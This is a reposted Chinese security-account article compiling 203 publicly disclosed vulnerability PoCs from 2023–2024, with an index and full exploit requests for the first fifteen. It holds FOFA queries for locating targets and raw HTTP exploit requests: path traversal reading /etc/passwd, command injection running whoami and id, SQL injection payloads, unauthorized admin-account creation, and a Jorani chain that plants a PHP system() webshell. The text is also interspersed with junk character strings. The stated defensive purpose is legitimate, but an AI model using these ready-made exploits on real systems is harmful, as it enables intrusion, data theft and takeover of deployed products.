互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
8 u8 M0 Q3 Z: ^1 Z& K道一安全 2024-06-05 07:41 北京
) \0 ~& \/ o5 O4 c以下文章来源于网络安全新视界 ，作者网络安全新视界
0 P2 C& w% R9 G! U- u/ L
5 D6 q. H- a; J4 f# ]0 E发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
: H( v* h+ e& v
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
% t9 k5 I, _( o8 _
9 {  p8 l/ G8 r" g2 ]: S, B2 t  V安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
8 k- f' _# R; y  |4 _
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

1 a" l' p& j. Y# ^9 b' I+ Q8 U: ^& h合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


5 V9 q" O/ x# W+ s9 n声明
2 ~1 Q3 @+ q$ K0 p+ r5 G2 T% R
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
/ `- O3 T) n1 m' P/ |" O1 [8 j2 {
2 t: U- J; T% ?* ^0 E* L2 T1 m  Y有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



目录
! I. A2 [: q9 ^0 }7 {5 I8 O: }
% S2 s' i8 r6 t5 t; I01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
7 F$ y! S0 O: y3. EasyCVR智能边缘网关 userlist 信息泄漏
" s! g8 e+ u. I$ a5 g4. EasyCVR视频管理平台存在任意用户添加
; c' d7 n+ |# S5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
( E1 L& Y, E1 i2 r8. 斐讯 Phicomm 路由器RCE
, F9 |4 D: W4 ]% U( L9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
6 \: T' r; r+ D; D* R! J11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
1 R+ U( y% Z! @% z8 C13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
3 {, f9 u: n4 _; C, d$ ]) R15. 华夏ERP getAllList信息泄露
6 e  X& x4 P! F/ }16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
' C* [/ D  d6 j; k% u, r: }' g20. 大华ICC智能物联综合管理平台任意文件读取
/ R1 B* Z; Q2 \. P  @+ J, l21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
2 X2 R, x3 A! E24. 用友NC 6.5 accept.jsp任意文件上传
" P9 G+ b/ V* x( G8 t25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
, Q8 ^1 P9 E1 o* l6 S# Z29. 用友NC down/bill SQL注入
; L* R5 q# Y2 z$ t30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
# M* v7 c  o1 s+ I( C" m32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
! V8 \" `6 T( K0 `# t& X34. 用友NC warningDetailInfo接口SQL注入
( t( R- p! o% k3 [8 _35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
5 y# n9 f( _6 i39. 用友U8 Cloud RegisterServlet SQL注入
; L* a. ~/ q" \) y40. 用友U8-Cloud XChangeServlet XXE
% ~# E) ^. _6 L9 E4 I8 M41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
3 L2 `6 ^  A: T, B+ s: M" f4 W42. 用友GRP-U8 SmartUpload01 文件上传
  {. \. W0 w. T3 c43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
8 T' w+ a8 p3 ^, n  H47. 用友GRP A++Cloud 政府财务云 任意文件读取
, }; ~: w. }) S2 S3 r* P5 U" l48. 用友U8 CRM swfupload 任意文件上传
$ K0 J, Q- _  X: Q+ T* o7 m- W49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
; p( Z- i" K! h4 }1 k51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
0 b/ |6 o( K; g& P/ ?8 X54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
7 P$ M/ c5 c! p  u* N56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
' m* v$ D1 I- f4 Z7 R+ t57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
# R; H" z4 E3 W6 p65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
. J& N9 U1 Z( i6 I. O+ x66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
6 J  ?4 e8 L8 N! _70. 万户ezEIP success 命令执行
! J1 H+ _( F- q* s* g1 p4 T4 I1 [3 z71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
% v3 P1 K) d# j/ G72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
- ^+ j  I$ t- m( K$ H8 T75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
) I: n* c+ |1 ]2 U, b76. 新开普掌上校园服务管理平台service.action远程命令执行
* T  |& T2 W. P: n# c77. F22服装管理软件系统UploadHandler.ashx任意文件上传
1 A% w( ]2 w* n! K  ~/ G7 x. H  H78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
5 o, e% O( v9 q7 E80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
0 b( P1 U: o7 W0 q  w" O/ Z87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
+ C2 |3 f, F; S) z4 I( A" E- \9 i7 c89. 致远互联FE协作办公平台editflow_manager存在sql注入
9 S' J% _1 k9 M* G* W/ E- J90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
. q% U* `& N# Q! U# r+ P, I91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
- Z4 [2 M" Y3 D92. 海康威视运行管理中心session命令执行
2 B5 Z5 w0 x6 ?6 n8 U7 H( X5 `93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
0 ^& ^( `! `2 U+ X94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
7 M7 h* A. _& m) b( [$ Z95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
6 J% d* D: y5 A, e( Q8 {96. Apache OFBiz  18.12.11 groovy 远程代码执行
$ _4 d. m& d* V9 Y97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
$ T+ P0 A( O* b4 B6 o98. SpiderFlow爬虫平台远程命令执行
* `/ s. f! r" r0 W! C2 K- j! l99. Ncast盈可视高清智能录播系统busiFacade RCE
% c, e# P1 c# r# D) z0 X6 Z100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
- x7 m6 r5 i# r1 U/ ^  q) Z5 S+ j103. Ivanti Pulse Connect Secure VPN XXE
' ^7 Q+ y. j3 C. E104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
( K. Z$ U" n5 Y6 V9 H/ }105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
- ~6 K4 H" h* Z: i109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
- W* ^/ Z7 Y$ V+ l! a! \+ z112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
2 u/ ]+ A- t, s( P115. WordPress Bricks Builder <= 1.9.6 RCE
9 ~* T  ^( U4 v) J& q9 O1 u5 K116. wordpress js-support-ticket文件上传
4 Y; t8 D' t! L8 s117. WordPress LayerSlider插件SQL注入
! U* P, B: w9 [' G/ D+ p118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
$ T4 i0 b4 G, l1 Z3 |/ [0 r) T120. 北京百绰智能S40管理平台导入web.php任意文件上传
- q/ s! A; n1 H5 x& C3 H121. 北京百绰智能S42管理平台userattestation.php任意文件上传
+ P/ ~4 V' h* B9 {& _! M6 j122. 北京百绰智能s200管理平台/importexport.php sql注入
7 [. F7 b4 {. x0 n/ V* M2 {- T2 ^123. Atlassian Confluence 模板注入代码执行
! {5 r4 v. i1 d- }& p6 u124. 湖南建研工程质量检测系统任意文件上传
+ o9 A6 H. a0 g9 h0 d( J125. ConnectWise ScreenConnect身份验证绕过
; k6 ~5 V) W; |0 z7 a2 w1 a126. Aiohttp 路径遍历
6 Y& b6 M. y5 a$ ^2 f3 l127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
9 n9 m4 l' [$ G+ ~& g129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
, z5 Y$ t. G2 R; S134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
1 D9 {1 n5 m9 ]8 p8 K7 B136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
7 u; T# N$ }) w) C. J0 @5 s139. 福建科立讯通信指挥调度平台editemedia.php sql注入
2 p1 n6 Q; A/ ^  a% D2 c6 b% r, x140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
/ v; F7 A, M% p: G& N148. CrushFTP 认证绕过模板注入
5 V9 x; k1 u6 ~: F149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
$ K! S: K+ G! K- L0 q+ T* L151. AJ-Report 1.4.1 pageList sql注入
3 W6 n  N8 ?- F- x: ~152. Progress Kemp LoadMaster 远程命令执行
. }4 ^5 w# W3 v7 q- L! r153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
; P) x; W; l0 C" l% D  c156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
9 @6 \  q1 ~2 u# ]158. Mura-CMS-processAsyncObject存在SQL注入
2 l7 L) s" z- M$ S3 d+ G# n159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
1 ~% x8 U4 B$ ]& O0 j% \164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
( L1 x$ I: l8 J+ q4 C9 O165. OrangeHRM 3.3.3 SQL 注入
* W1 W5 F! [/ u8 r4 E  Q8 u166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
- J, ?! h. H% G3 M2 z/ Q171. 通天星CMSV6车载定位监控平台 SQL注入
0 r, _/ y5 m( W* G/ k  A( \/ M172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
+ w/ T6 S! E1 ]- A; F: C; X: ]7 Y174. 金和OA C6 FileDownLoad.aspx 任意文件读取
. a3 ^4 L- C' t* l5 i175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
5 r) \3 q) L) ?' H177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
! [0 b; U' h. w- H, T& w) K179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
; L) e/ q6 E$ l2 u181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
5 P6 U% y6 ~# H/ B2 D5 B. S182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
) O9 x( `; }; ?7 O3 L189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
$ e) ~5 @+ k3 N( X- h191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
1 q* n2 [% g% ?& {) w$ V8 i8 {0 ~192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
3 m3 q, I- @3 Q9 e% h4 E6 G195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
( a( `4 R# \' o200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
2 ^% k  H9 ~, G& p0 \! g
POC列表
* P0 C2 R3 P0 @: O3 v1 @
02
# K- _, p' Y0 [% o, x, q7 K1 l
7 d* k# t$ q* Y# A1. StarRocks MPP数据库未授权访问
1 V# e) k5 P0 Q5 mFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL
$ i, ]) u8 k/ P/ D( i" y% P' E
  e, j; Y$ X$ u' g# Y! L
! |0 m) i3 i- K. n2. Casdoor系统static任意文件读取
- p: `1 H. g2 _FOFA ：title="Casdoor"
6 f/ n1 M$ x$ j' X0 ~GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
+ g( \0 e9 d; c3 SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 |7 e; I6 J6 j0 }Connection: close
1 M6 o( A7 Q" R  Q' J' ]Accept: */*
* J( N1 z2 |4 O' E  w5 GAccept-Language: en
Accept-Encoding: gzip
) H: ~. Q( p/ F8 K) d' \
4 I4 i: V% P/ k+ b% I, D: q% m
2 U7 n. t6 A5 o- O6 S9 H. s/ u3. EasyCVR智能边缘网关 userlist 信息泄漏
# Y- Q# ?; p3 h/ [$ G/ {: DFOFA ：title="EasyCVR"
6 C6 I& p( W7 B- t8 ~6 N! ^; N( ^GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

4 m5 Y3 g8 q3 P  c8 C; ^% c6 U
5 m* a+ K* d) ^% ~1 ~+ Y4. EasyCVR视频管理平台存在任意用户添加
0 ?; ?, E* k0 d7 OFOFA ：title="EasyCVR"
; R& c4 v8 k# P& m) l7 ^' ^) u4 C
  [8 z2 p7 C1 a; b& l, Z7 Wpassword更改为自己的密码md5
: [4 H3 i1 H  G, OPOST /api/v1/adduser HTTP/1.1
* K% L9 B$ `- f, |) y+ KHost: your-ip
% g# I0 D) v' o) q! mContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
" Q5 A/ `6 [5 E6 X
3 x. B, z  h, q
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
) p6 j/ f) ^# e* r2 b% c5 |GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
( i; j" ~( S" {. Y: [+ C8 dHost: xx.xx.xx.xx
; t0 P  \/ i2 f* F8 X) N; B$ s" h

  o' l/ W% l1 T+ m& W5 N# {8 w! o6. 深信服 NGAF 任意文件读取
% s- o2 d1 K9 PFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
" A- h" T( r+ w1 c
4 h1 t3 _8 O- N8 D; n1 \
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
( ]  T) T1 p7 D! @+ xGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


1 {* H* v9 @& w! m- `) U8 a8. 斐讯 Phicomm 路由器RCE
2 v; J5 Q& J3 t  G& d! w# sFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
  V- m; L- o  u  Q/ A; |POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
( ~! h$ r% y) @3 F6 b" \Cookie: sysauth=第一步登录获取的cookie
1 a! z2 ?, s5 d" Y3 jContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
$ S- w4 E% L0 n8 Y0 kUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
, _% C) ]) F' [/ E
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
" i7 H$ t: y( y2 X/ G------WebKitFormBoundaryxbgjoytz
4 g8 A3 X. n8 [" I$ k2 a% uContent-Disposition: form-data; name="wifiRebootrange"
. I* v, Q# r- [; k/ v% P1 |
6 f* i: r- q' k( }/ z12:00; id;
------WebKitFormBoundaryxbgjoytz
6 q* ]. D, x! |7 y2 i  L0 vContent-Disposition: form-data; name="wifiRebootendrange"
7 N7 j6 h7 \3 O) {/ ]
" {4 L2 g* |3 u0 _+ y, U9 j' ~; a& T%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"

1 U0 p9 P- \; Z# Q! _
" e1 t! f& y& S/ v------WebKitFormBoundaryxbgjoytz--


, I7 n0 n  h8 q+ m9. 稻壳CMS keyword 未授权SQL注入
  {- `+ R' j, p9 X* m$ a# A7 BFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
, n+ O4 q( ^+ h* V, b$ F8 j5 h& CHost: x.x.x.x
, K( Y5 i# C1 @8 p3 @1 h+ @
) y7 V9 o% a* o5 S
' k" g2 Q2 n: k0 U" mpayload为下列语句的二次Url编码

: J7 I4 F& i; x( z1 m$ N. Z8 }) p' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

$ ]5 Z- q& a/ W! X: v' K& y- F10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
" d+ I8 T0 d+ i3 q- T: N9 w# CFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
8 G+ _! B- W6 W% _5 s  j7 F: ]Host: x.x.x.x:xx
  g; W* x2 a- \/ X/ L% @: tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. H8 S3 T; W3 Y& YContent-Length: 197
  C4 I' R+ n6 \) BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
, V/ I2 g& O+ _, C. j) H$ n% QAccept-Encoding: gzip, deflate
7 q: r% f4 @+ `2 ~. sAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

9 S) x& t; u# B! N9 q5 r- C. s------WebKitFormBoundaryxdgaqmqu
* i% l* g/ @  }: g6 X/ s5 YContent-Disposition: form-data; name="file"filename="icfitnya.txt"
9 H" }( D8 ~; X9 G( w- tContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
2 M/ H! ?4 h4 u% f------WebKitFormBoundaryxdgaqmqu--
; t5 t9 ~; k6 q
6 ?2 u6 t3 r# T- m7 p! j. {. x
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
) g/ I! F" ~8 J; HHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
( c/ i# L2 H. ^Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; ?+ x" `4 _: W9 @* }* eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
  S; V$ `0 Q3 n# O

12. Jorani < 1.0.2 远程命令执行
& p. c# R( `' R2 }# ~1 e  W) XFOFA：title="Jorani"
第一步先拿到cookie
' l+ [1 \' {( n) F% rGET /session/login HTTP/1.1
/ b+ }3 b0 D6 B# bHost: 192.168.190.30
5 `, g- _0 q, m' X% i3 Z; IUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 X7 }5 @5 o. r; yConnection: close
9 |+ Y* ?% Z0 }* tAccept-Encoding: gzip


& v: {- b, w  N) z9 M6 T响应中csrf_cookie_jorani用于后续请求
) B: i4 L8 [* |* R9 IHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
% M5 r9 _6 A) E0 R0 z, EContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
! ^0 Q- a/ P+ S7 iExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
9 W6 ?: B( M  K' h# P3 ySet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
, x; q! M9 W. N+ fSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
. i1 Z9 J) y' h1 G! i$ WVary: Accept-Encoding
( L8 V" x2 g3 T/ h1 O
" W* K+ R/ p' F' K& F
( m. e0 w3 t: Y2 t  jPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
+ a4 g$ l. B9 U1 V2 w* mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
4 M" N4 L# T- W# t3 ^Connection: close
# o4 }* j' F& e" S: C0 VContent-Length: 252
$ n3 H% Q3 U: K* G( B5 V0 pContent-Type: application/x-www-form-urlencoded
7 }& N: q$ W% _Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
- F$ a$ K1 B2 k! l' H5 u2 Q
: N7 H' @" N8 Y; `2 n6 p# k9 ucsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



2 N+ }2 M! l1 ^6 I8 V& g向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
# l; U; @+ O# @. x: b% d+ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 r& p$ e; L3 D9 A, D$ h' jConnection: close
. L, q' ~9 w+ A: F  D1 N2 T: O  QCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
; @' y7 g6 v& X# a; Q4 e* P: ]K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
6 [: O6 p' F; [5 n! ~  P: aX-REQUESTED-WITH: XMLHttpRequest
* Y. ?8 j6 u5 X' o, x* m; |& JAccept-Encoding: gzip
! X- ~' G, ~# E( P0 i4 |% {* c

13. 红帆iOffice ioFileDown任意文件读取
& G* b! L/ x2 i' PFOFA：app="红帆-ioffice"
1 ?4 H# s7 d( S- D- lGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
+ C9 b& I: Q( ^Host: x.x.x.x
- ~, `; e) _+ F- T6 u! pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 C% H- v: S$ l: u: JConnection: close
Accept: */*
Accept-Encoding: gzip

) |1 Z* i# ?! o4 G
0 P, h. O$ Y) G; R! h14. 华夏ERP（jshERP）敏感信息泄露
  u4 x/ D: w' c) F, w; _FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
3 {5 s- _9 r; oHost: x.x.x.x
' K/ j8 ]$ e! U) \# h$ B2 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
0 L$ E: R1 a, f2 y/ H* r; Q2 k

15. 华夏ERP getAllList信息泄露
( d! O  r/ u! F. C: C/ QCVE-2024-0490
3 Q% h4 H5 l8 O3 hFOFA：body="jshERP-boot"
- H+ O* f& N! G' T5 C泄露内容包括用户名密码
